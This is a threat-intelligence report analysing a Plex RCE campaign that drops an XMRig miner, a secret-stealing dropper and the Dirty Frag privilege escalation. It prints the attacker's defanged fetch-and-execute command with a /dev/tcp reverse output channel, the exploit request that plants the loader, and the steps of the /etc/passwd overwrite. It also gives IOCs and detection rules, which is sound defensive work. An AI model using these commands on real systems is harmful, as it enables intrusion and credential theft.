TLP:CLEAR

plex2shell to Dirty Frag: Plex RCE delivering a secret-stealing XMRig dropper

One operator, five sensors, one evening: plex2shell (CVE-2026-96652/96654/96655/96656) carrier capture, loader reverse engineering, sandbox detonation, a rival botnet on the same servers, and the Dirty Frag LPE (CVE-2026-43500) inside the dropper

Published 2026-10-24 Source Distributed Honeypot Observations Confidence HIGH Classification Media Server Exploitation / Cryptojacking / Credential Theft

Published 2026-10-24. Updated 2026-10-24 23:30 UTC with chains 4 and 5 and a rival botnet on the same servers. Corrected later on 2026-10-24: chain times are now server receipt times. Two sensor clocks had drifted, which put chains 1 and 2 several minutes late in the first version.

Update 2026-10-25 05:00 UTC: by 04:07 UTC this operator had run 13 chains on 12 sensors, all with the same third command version and dropper. The figures below describe the first five. Two more operators completed the chain overnight. One of them delivers a Rust eBPF rootkit that also carries Dirty Frag. See the follow-up, plex2shell, part two.

Update 2026-10-25 09:45 UTC: the operator started using a second address, 176.65.149.174 (same Pfcloud network, AS51396, netname PFCLOUD-NET-2), for exploitation, carrier hosting and the output listener. It ran 3 chains from there between 08:19 and 09:03 UTC; 176.65.148.184 ran one more at 09:04. The command also changed twice more. From 08:19 the dropper is started as /tmp/.skibidi g instead of lol, and from 08:50 the command begins with pkill -9 renice. The dropper URL and binary are unchanged: a fresh fetch at 09:47 UTC returned the same f3d4fe0f…. Totals so far: 17 chains on 13 sensors.

Update 2026-10-25 12:45 UTC: from 10:16 UTC the operator ships a sixth command version, from both addresses. The targeted kills of systemd, postgresql and the .spid rival are gone. In their place, when it is not running as root and /usr/lib/plexmediaserver exists, it walks /proc and sends kill -9 to every process except its own parent chain, anything named auditd (its own installed name), and anything whose executable lives under the Plex install directory or /tmp/.cache (where its dropper stages the miner). It then wipes /tmp, sparing only /tmp/.cache, and /var/tmp. As root it skips all of this. The download fallbacks drop to curl, wget and bash /dev/tcp, and the dropper is started with lol again. The dropper URL is unchanged. Totals through 11:51 UTC: 24 decoded chains on 16 sensors, 7 of them with this version (loader 7e09b03f… is one example).

Update 2026-10-25 15:45 UTC: from 12:43 UTC a seventh version drops the /tmp/.skibidi dropper, and with it the credential theft and the kernel LPE described below. After the same process kill and /tmp wipe as version 6, it runs a base64-encoded line that downloads xr-64 into /var/tmp. The file comes from the operator's own address, http://176.65.149.174/xr-64, served by a Python SimpleHTTP server. The line starts it unless an xr-64 process already runs. xr-64 (5e3b316f…, 9,893,560 bytes) is XMRig 6.26.0 built with Alpine GCC 15.2.0. It mines to gulf.moneroocean.stream:10128, falls back to the existing 196.251.121.181:3333 pool proxy, and runs with --donate-level=0 and --rig-id=test. This is the first time the operator's wallet appears in a payload: 86Jae4ZZ6VQL6FxWCEPftmPVQqvWzwtzK8f7b2pJb4gVcf9x8TpWvKQCdV9mXxmVhm7gbBZq9Rf19JwxfeejEKTPBfV5RfS. Earlier versions only ever pointed the miner at the pool proxy. 14 chains on 14 sensors used this version between 12:43 and 15:43 UTC, all from 176.65.149.174. Totals so far: 38 decoded chains on 20 sensors.

Executive summary

A Plex server that falls to plex2shell does not get a webshell or a reverse shell from this operator. It gets a video. The final stage of the chain is a 640×360 lossless H.264 file whose first frame carries a 13 KB Linux shared object in its luma plane. Plex's own transcoder loads that object and runs it. When we ran the dropper it fetches in our sandbox, it was pulling a miner nine seconds into the capture and had reported back to its operator, installed as root, seventeen seconds in.

Key Finding
On 2026-10-24 between 20:33 and 23:00 UTC, a single source IP, 176.65.148.184, ran the complete plex2shell chain (CVE-2026-96652/96654/96655/96656) against five of our Plex Media Server sensors and delivered a carrier video to each. All five carriers decode to a modified build of the public proof-of-concept loader that fetches /tmp/.skibidi from 196.251.121.181:8081. That file is a UPX-packed C dropper that installs XMRig against the operator's own pool proxy, hunts for .env files and AWS, OpenAI and Discord secrets, kills and firewalls rival miners, and embeds a working copy of the Dirty Frag rxrpc page-cache privilege escalation (CVE-2026-43500) aimed at /etc/passwd.
5
Complete chains
7
Sensors fingerprinted
13,920 B
Embedded loader
497
Dropper functions decompiled

Everything in this report was derived from our own capture, decode, sandbox detonation and static analysis. A third-party behavioral sandbox report is linked as a cross-check. Two things in the chain are commodity: the miner is the public static XMRig build, and the loader is a light edit of the published PoC. The combination is not. A media-server RCE delivers a dropper that pairs mining with credential theft, and carries a kernel LPE for hosts where the Plex process does not already run as root.

Several other source IPs have driven plex2shell callbacks against our sensors since 2026-10-18. This report covers the one operator whose payload we recovered and analyzed in full. The one other operator it discusses appears only because this operator's latest payload goes out of its way to remove it (see A rival on the same servers).

Threat actor profile

AttributeAssessment
IntentMonetization: Monero mining through an operator-run pool proxy, plus collection of cloud and AI API credentials found on the host.
ToolingGo scanner (plexscan/1.0 for fingerprinting, Go-http-client/1.1 for exploitation, client IDs of the form plexscan-<16 hex>-1); a modified build of the public plex2shell PoC payload; a custom C dropper with an embedded public kernel exploit.
SophisticationMEDIUM. Assembled from public parts, but assembled with care: six download fallbacks, a download self-test endpoint, structured status beacons, about ten persistence methods, and an LPE gated on the current UID.
History in our corpusThe same source IP scanned for Odoo (/web/login, /xmlrpc/2/common) between 2026-08-27 and 2026-09-28: 34 requests across 22 sensors. No exploitation was seen from it before 2026-10-24.
Distinct from the public in-the-wild captureThe first published in-the-wild plex2shell capture came from a different source IP and ran a one-line wget … | sh stager from a different host. None of the infrastructure, file names or payload below overlaps with it.

Infrastructure

176.65.148.184 ──→ GET /identity (plexscan/1.0), then the plex2shell chain on :32400
│ serves item.xml + carrier.mp4 from an ephemeral high port (46669, 32911, 35501, 44699, 43589)
▼
Plex transcoder dlopen()s the zzNNNNN.so written from the carrier's first frame
│ shell output streamed back to 176.65.148.184 (ports 33403, 34879, 44911, 42513, 39145)
▼
196.251.121.181:8081 /elf.x86_64 (dropper), /ts (self-test), /dl?{…} (XMRig), POST /r (beacons)
│
▼
196.251.121.181:3333 stratum pool proxy (rx/0, XMR) hard-coded in the dropper's XMRig config
HostRoleNetworkReputation (live, 2026-10-24)
176.65.148.184Scanner, exploit source, carrier server, reverse-output listenerAS51396 Pfcloud UG (haftungsbeschrankt), NL; RIPE netname PF-CLOUD-NET-1VirusTotal 15/92 malicious; datacenter, no anonymizing tunnel observed
196.251.121.181Payload staging, beacon collector, mining proxyAS403005 "Blatant", SC; AFRINIC netname internet-secuirtyVirusTotal 1/92 malicious; datacenter, flagged as a PureVPN exit

The operator runs both carrier delivery and the reverse-output listener on the scanning host itself. The carrier server moves to a new high port for each target. Everything after the loader goes to the staging host, which also serves as the pool endpoint, so its address is the most useful single network indicator in this report. Other addresses in 196.251.121.0/24 served unrelated Mirai builds to our sensors between June and September 2026. We note the neighbourhood, but do not treat it as attribution.

Payload analysis

Stage 1: the carrier and the loader

Each carrier is a short 640×360 lossless H.264 MP4 (13,013 to 13,553 bytes). We decoded them offline, in an isolated environment. The decode recovered an ELF64 shared object from frame 0, padded with 0x80, exactly as the public PoC builds it. All five loaders are 13,920 bytes. The two we analyzed function by function each contain a single function, go at 0x101000 (371 bytes), registered in .init_array so it runs on load, with identical branch structure. Only the embedded command differs.

FeaturePublic PoC payload_linux.cThis operator's loader
Source file name (symtab)n/apay.c
Interpreter/bin/sh -c only/bin/bash, /usr/bin/bash, then /bin/sh (all three referenced from go)
Symbolssh, dashc, cmdsh, dashs, bash1, bash2, cmd
Toolchainn/aGCC (Ubuntu 13.3.0-6ubuntu2~24.04.1) 13.3.0

The embedded command first kills processes named systemd and postgresql. From the second chain on, it only does this when it is not running as root. The command changed twice during the evening; the third version, used from chain 4, also removes a rival implant at /var/tmp/.spid. It then wipes /tmp and /var/tmp and fetches the dropper with up to six methods in turn: curl, wget, python3, php, perl and bash /dev/tcp. Finally it runs the dropper as /tmp/.skibidi lol, with all output redirected to a TCP connection back to the scanner.

A rival on the same servers

The third command version, first seen in chain 4, adds two lines: rm /var/tmp/.spid -rf; pkill -9 -f "/var/tmp/.spid". In our corpus, .spid is the implant name used by a different operator's installer, a 4,399-byte shell script fetched from hand.genddos.st:48180/bug (57a4fd74…). That script picks the first writable directory among $HOME, $TMPDIR, /data/local/tmp, /var/tmp and /tmp, and downloads spider.<arch> from 94.154.43.68:48180 to .spid there. It treats any process running as .spid or /usr/bin/kworker as its own, and removes an older kworker install. The script carries the build string 20261023a.

The rivalry runs both ways. Before installing anything, the Genddos script deletes every zz*.so it finds in Plex Codecs directories: the native and container paths, and, if neither exists, any Codecs directory up to six levels below common NAS and server roots such as /volume1 and /share. Those files are where plex2shell plants its loader. The source IP behind that installer chain, 94.154.43.7, has also sent more plex2shell exploit requests than any other source in our data since 2026-10-18: 247 timeline-subscribe requests across 25 sensors. We have not recovered a Genddos plex2shell carrier, so we cannot say which exploit it used on any given host. What both payloads show is two operators competing for the same population of unpatched Plex servers, each removing the other's foothold.

Stage 2: the /tmp/.skibidi dropper

The dropper (f3d4fe0f…, 103,772 bytes) is UPX-packed. We statically analyzed its unpacked payload (76f30a23…, 497 functions, all decompiled) and detonated the packed file in our own sandbox for 300 seconds. Function addresses below refer to the unpacked payload. Decompiler output is Ghidra's reconstruction, not source.

CapabilityStatic evidenceObserved in our detonation
Miner installFUN_00405df0 writes an XMRig config with "url": "196.251.121.181:3333", "algo": "rx/0", "donate-level": 0Downloaded a 9,832,024-byte XMRig build to /tmp/.cache/auditd.xr.1, wrote it to /usr/bin/auditd/auditd next to a fresh config.json, and launched it as auditd. The parent kept polling that process until the trace ended. No connection to port 3333 appears in our 201-second packet capture, so we cannot confirm the miner reached the pool.
MasqueradeProcess-name and path strings (auditd, systemd-update-utmp, /dev/shm/.sysupd)Re-downloaded itself to /usr/bin/.gnupg/auditd and relaunched with --dbg. Polled CPU use of processes named auditd/audit.
Secret harvestingFUN_0040a810 runs find for .env, .env.*, *.env, .envrc, *.json, *.yaml, *.yml, … under /home /root /opt /srv /var/www /etc /usr/local and ~/.config/openai. FUN_00409250 keeps values matching aws_secret_access_key, openai_api_key, sk-proj-, private keys and Discord webhook URLs, and discards placeholders (changeme, example, your_, placeholder).Both find sweeps executed.
Beaconing / exfiltrationFUN_00406d30 closes a JSON array, XORs it with the repeating key k1n5m0r3, base64-encodes it and sends POST /r to 196.251.121.181:8081Two beacons, decoded with that recipe: XR_MINER_DL_OK and XR_INSTALLED_ROOT
Rival removalFUN_0040cdc0 scans /proc for fake kernel-thread names ([kworker, [kswapd, …) and miner markers (cryptonight, donate-level, minergate), then blocks their pools with /etc/hosts, iptables -I OUTPUT … -j DROP and ip route add blackhole4 domains sinkholed in /etc/hosts and 14 IPs blackholed (listed separately under IOCs)
PersistenceStrings for /etc/cron.d, a crontab @reboot + */N line, a systemd unit, /etc/init.d + update-rc.d, rc.local, /etc/xdg/autostart/xr-sync.desktop, .bashrc, /etc/environment, /etc/profile, and chattr +ia lockingUnlocked and rewrote the crontab (chattr -ia, crontab -)
Self-refreshDownload URL templates for six fetch methods, including node and ruby one-linersRe-fetched /elf.x86_64 at 14 s and again at 197 s; polled /ts, which returns DL_T3ST_0K
Privilege escalationFUN_00413ec0 / FUN_00412530: Dirty Frag rxrpc variant (below)Not triggered: the sandbox ran the sample as root, and the dropper beaconed "u":"root"

The embedded Dirty Frag exploit

FUN_00413ec0 is a complete, verbose exploit for the rxrpc half of Dirty Frag, the page-cache write disclosed in May 2026 (CVE-2026-43500; the NVD entry links the researcher's write-up). Its stages, as logged by its own status strings:

  1. If the environment variable POC_UNSHARE=1 is set, it creates a new user and network namespace and brings up loopback.
  2. It autoloads the rxrpc module through a dummy socket(AF_RXRPC).
  3. It opens /etc/passwd read-only (overridable with POC_TARGET_FILE), maps its page cache PROT_READ|MAP_SHARED, and self-tests fcrypt.
  4. It brute-forces three session keys so that rxkad's in-place pcbc(fcrypt) decryption will write chosen bytes.
  5. It fires three triggers (FUN_00412530: an rxrpc key named evil%d, a fake UDP server on 127.0.0.1, an AF_RXRPC client) that rewrite root's line to root::0:0:GGGGGG:/root:/bin/bash, which is an empty password.
  6. It verifies the result with getent passwd root.

On disk, /etc/passwd is unchanged; only the page cache is modified. File-integrity monitoring that hashes the file will not see it, but anything that reads the file through the cache, including su and login, will. This exploit is not new to our corpus. The same code, with the same status strings, appeared in seven Mirai-family ARM builds our sensors collected from two unrelated hosts between 2026-09-05 and 2026-10-10. This is the first time we have seen it shipped in an x86_64 miner, and the first time behind a media-server RCE.

Observed TTPs (MITRE ATT&CK)

Exploit Public-Facing Application
plex2shell chain against Plex Media Server on :32400
Steganography
Loader carried in the luma plane of a lossless H.264 frame
Unix Shell
Loader constructor execs bash/sh with the embedded command
Ingress Tool Transfer
Six fetch fallbacks for the dropper; XMRig pulled via /dl?{…}
Exploitation for Privilege Escalation
Embedded Dirty Frag rxrpc page-cache write (CVE-2026-43500)
Credentials In Files
.env/JSON/YAML sweep for AWS, OpenAI and Discord secrets
Cron
@reboot and periodic crontab entries, /etc/cron.d
Systemd Service
/etc/systemd/system/%s.service template
Match Legitimate Name or Location
Runs as /usr/bin/.gnupg/auditd
Linux File Permissions Modification
chattr -ia / +ia around crontab edits
Disable or Modify System Firewall
iptables DROP and blackhole routes for rival pools
Exfiltration Over C2 Channel
XOR + base64 POST /r to the staging host
Compute Hijacking
XMRig against an operator-run stratum proxy

Timeline

2026-08-27 → 2026-09-28
176.65.148.184 scans for Odoo login and XML-RPC endpoints (34 requests, 22 sensors).
2026-10-16
plex2shell is publicly disclosed, with a proof-of-concept.
2026-10-20
CISA adds all four plex2shell CVEs to the Known Exploited Vulnerabilities catalog.
2026-10-24 19:11 UTC
First GET /identity from 176.65.148.184 with user agent plexscan/1.0.
2026-10-24 20:33:35–20:34:06 UTC
Sensor 1: subscribe SSRF, callback, token use, TranscoderH264Options=dump-yuv=…/zz74014.so, transcode decision, carrier fetched from :46669, prefs cleared, second transcode.
2026-10-24 20:53:44–20:54:44 UTC
Sensor 2: same chain, carrier from :32911, loader variant gated on non-root UID.
2026-10-24 21:40:13–21:41:16 UTC
Sensor 3: same chain, carrier from :35501, same command template as sensor 2.
2026-10-24 22:52:06–22:52:12 UTC
Sensor 4: fingerprint to carrier in six seconds, carrier from :44699. Third command version, which now kills /var/tmp/.spid.
2026-10-24 23:00:00–23:00:34 UTC
Sensor 5: same third command version, carrier from :43589.
2026-10-24 (sandbox)
Our detonation of the dropper: /ts at 8.3 s, XMRig download at 9.0 s, XR_MINER_DL_OK at 11.9 s, dropper re-fetch at 14.4 s, XR_INSTALLED_ROOT at 16.8 s, re-fetch at 197.1 s.

Exploit payloads

The setting write that plants the loader (sensor 1, URL-decoded):

PUT /:/prefs?TranscoderH264Options=dump-yuv=/var/lib/plexmediaserver/Library/Application Support/Plex Media Server/Codecs/593f60f-3bc1956d61390d2a148a8c76-linux-x86_64/zz74014.so:qp=0

The command embedded in loader 49ca9da3… (defanged, line breaks added):

{ pkill -9 -f "systemd" 2>/dev/null;pkill -9 -f "postgresql" 2>/dev/null;
rm -rf /tmp/* /tmp/.[!.]* /var/tmp/* /var/tmp/.[!.]* 2>/dev/null;
U="hxxp://196.251.121[.]181:8081/elf.x86_64";E=/tmp/.skibidi;
h(){ command -v "$1">/dev/null 2>&1;};
{ h curl&&curl -fsSL "$U" -o "$E";}||{ h wget&&wget -q "$U" -O "$E";}||
{ h python3&&python3 -c "…urlopen('$U')…";}||{ h php&&php -r '…' "$U" "$E";}||
{ h perl&&perl -MIO::Socket::INET -e '…' 196.251.121[.]181 8081 /elf.x86_64 "$E";}||
{ h bash&&bash -c 'exec 3<>/dev/tcp/196.251.121[.]181/8081;…' "$E";};
chmod 777 "$E" 2>/dev/null;("$E" lol 2>/dev/null & ); } > /dev/tcp/176.65.148[.]184/33403 2>&1

Both beacons from our detonation, after base64 decode and XOR with k1n5m0r3:

[{"t":"status","s":"XR_MINER_DL_OK","r":"worker-01","a":"64","u":"root","d":"WGET"}]
[{"t":"status","s":"XR_INSTALLED_ROOT","r":"worker-01","a":"64","u":"root","d":"WGET"}]

Decoding a captured POST /r body:

import base64
key = b"k1n5m0r3"
raw = base64.b64decode(body)
print(bytes(c ^ key[i % 8] for i, c in enumerate(raw)))

Indicators of compromise

Network

Miner URL (version 7)
http://176.65.149.174/xr-64
XMRig 6.26.0, SHA-256 5e3b316f61905335b3200752c7c929ba65b7e037b454ca52d644a6945c21a500
Monero wallet (version 7)
86Jae4ZZ6VQL6FxWCEPftmPVQqvWzwtzK8f7b2pJb4gVcf9x8TpWvKQCdV9mXxmVhm7gbBZq9Rf19JwxfeejEKTPBfV5RfS
Pool gulf.moneroocean.stream:10128
Exploit source / carrier server (from 2026-10-25 08:19 UTC)
176.65.149.174
Same operator, same Pfcloud AS51396
Exploit source / carrier server
176.65.148.184
:32400 exploitation; carrier on ephemeral high ports; reverse output on 33403, 34879, 44911, 42513, 39145
Staging / beacon / pool
196.251.121.181
:8081 HTTP (/elf.x86_64, /ts, /dl, /r), :3333 stratum
Dropper URL
http://196.251.121.181:8081/elf.x86_64
Saved as /tmp/.skibidi, later /usr/bin/.gnupg/auditd
Second-stage URL
http://196.251.121.181:8081/dl?{"f":"xr","t":"b","p":"lnx","a":"64","e":"","c":0}
URL-encoded on the wire; returns XMRig
User agents
plexscan/1.0 · Go-http-client/1.1
Plex client ID plexscan-<16 hex>-1

Files

Host artifacts

ArtifactMeaning
…/Plex Media Server/Codecs/<7 hex>-<24 hex>-linux-x86_64/zz<digits>.soPlanted loader (zz74014, zz75222, zz78013, zz82326, zz82799 observed)
Non-empty or unexpected TranscoderH264Options containing dump-yuv=Exploit setting, possibly cleared afterwards
/tmp/.skibidi, /usr/bin/.gnupg/auditdDropper and its installed copy
/tmp/.cache/auditd.xr.1, /usr/bin/auditd/auditd, /usr/bin/auditd/config.json, /usr/bin/auditd/auditd.logMiner download, installed miner (process name auditd), its config and log
/tmp/.exectest, /tmp/.rsyslogd.logExec-permission probe and dropper log
/etc/xdg/autostart/xr-sync.desktop, new @reboot crontab lines, immutable (+ia) crontab filesPersistence
Root entry in /etc/passwd reading root::0:0:GGGGGG: through the page cacheDirty Frag succeeded. Reboot or drop caches, then patch the kernel.

Rival operator (Genddos installer)

IndicatorNote
http://hand.genddos.st:48180/bugInstaller script, 57a4fd74d2432de57071bfd028fc1e9a59c5ea55d7f62ef590c5ea832301c56f (build 20261023a)
94.154.43.68:48180Default download server for spider.<arch>
94.154.43.7Source of the installer chain; top plex2shell scanner against our sensors
<dir>/.spid, .spidx, .spido, $HOME/.spid.verImplant, staged update, backup, version marker

Infrastructure the malware blocks (not attacker IOCs)

These are rival operators' hosts that the dropper sinkholes or blackholes on infected machines. Seeing them in /etc/hosts or the routing table indicates infection by this dropper. Do not block them as this operator's infrastructure.

/etc/hosts → 127.0.0.1: apt-update.com  auto.c3pool.org  fix.unknower.win  joker.aec944b68370194a50.link
ip route add blackhole: 45.77.67.39  45.94.31.89  47.86.46.179  66.23.199.44  84.21.173.223
  95.85.237.149  95.85.237.226  111.90.139.202  111.90.158.58  139.59.59.33  142.132.131.238
  154.89.152.115  167.179.119.120  193.41.68.194

Mitigations and detection

ActionPriorityDetail
Update Plex Media ServerCRITICALReleases before 1.43.3.10861 are affected (per NVD). Update to 1.43.3.10861 or later, and keep :32400 off the Internet unless remote access is actually needed.
Patch the kernelCRITICALCVE-2026-43500 is fixed in stable kernels. If you cannot patch, block the rxrpc module from loading. AF_RXRPC has no legitimate users outside AFS clients.
Hunt the Codecs directoryHIGHLook for zz*.so files under any Codecs/*-linux-x86_64/ directory, and for dump-yuv in Plex preferences.
Rotate secrets on any exploited hostHIGHAssume every .env, JSON and YAML file readable by the Plex user, and by root if Dirty Frag succeeded, has been read. Rotate AWS, OpenAI and Discord webhook credentials first.
Block egressMEDIUMBlock 196.251.121.181 (ports 8081, 3333) and 176.65.148.184, 176.65.149.174.

Suricata

alert http any any -> $HOME_NET 32400 (msg:"COWRAI plex2shell TranscoderH264Options dump-yuv write"; flow:to_server,established; http.uri; content:"TranscoderH264Options="; nocase; content:"dump-yuv"; nocase; distance:0; classtype:attempted-admin; sid:9003060001; rev:1;)
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"COWRAI skibidi dropper XMRig second-stage request"; flow:to_server,established; http.uri; content:"/dl?%7B%22f%22:%22xr%22"; startswith; classtype:trojan-activity; sid:9003060002; rev:1;)
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"COWRAI skibidi dropper download self-test response"; flow:to_client,established; http.response_body; content:"DL_T3ST_0K"; bsize:10; classtype:trojan-activity; sid:9003060003; rev:1;)
alert http $HOME_NET any -> $EXTERNAL_NET 8081 (msg:"COWRAI skibidi dropper status beacon POST /r"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/r"; bsize:2; http.content_type; content:"application/octet-stream"; classtype:trojan-activity; sid:9003060004; rev:1;)
alert tcp $HOME_NET any -> 196.251.121.181 3333 (msg:"COWRAI skibidi dropper stratum to operator pool proxy"; flow:to_server,established; content:"\"method\""; content:"login"; distance:0; classtype:policy-violation; sid:9003060005; rev:1;)

Collection methodology

All data in this report was collected organically by a distributed honeypot fleet deployed across multiple cloud providers and geographic regions. Some nodes run a Plex Media Server lure that plays the plex2shell chain just far enough to receive the attacker's carrier video. It contacts no address other than the one that sent the request, and it never decodes or executes anything. Carriers were decoded offline in an isolated environment. The dropper was detonated in an isolated, egress-controlled sandbox, recording a packet capture and system-call trace, and was statically analyzed from its UPX-unpacked payload. Every behavior in the "Observed in our detonation" column comes from that capture and trace. Every function-level claim cites an address in the unpacked payload.

IP registration data comes from live RDAP and WHOIS lookups. Reputation figures come from live VirusTotal lookups. Infrastructure classification comes from a commercial IP-intelligence API. All lookups were made on the publication date. Event counts and timestamps were queried from the fleet's event store at write time. Chain times are the times our collector received each event, which trail the event itself by a few seconds. We use them instead of the sensors' own clocks because some sensor clocks had drifted by several minutes when these chains arrived.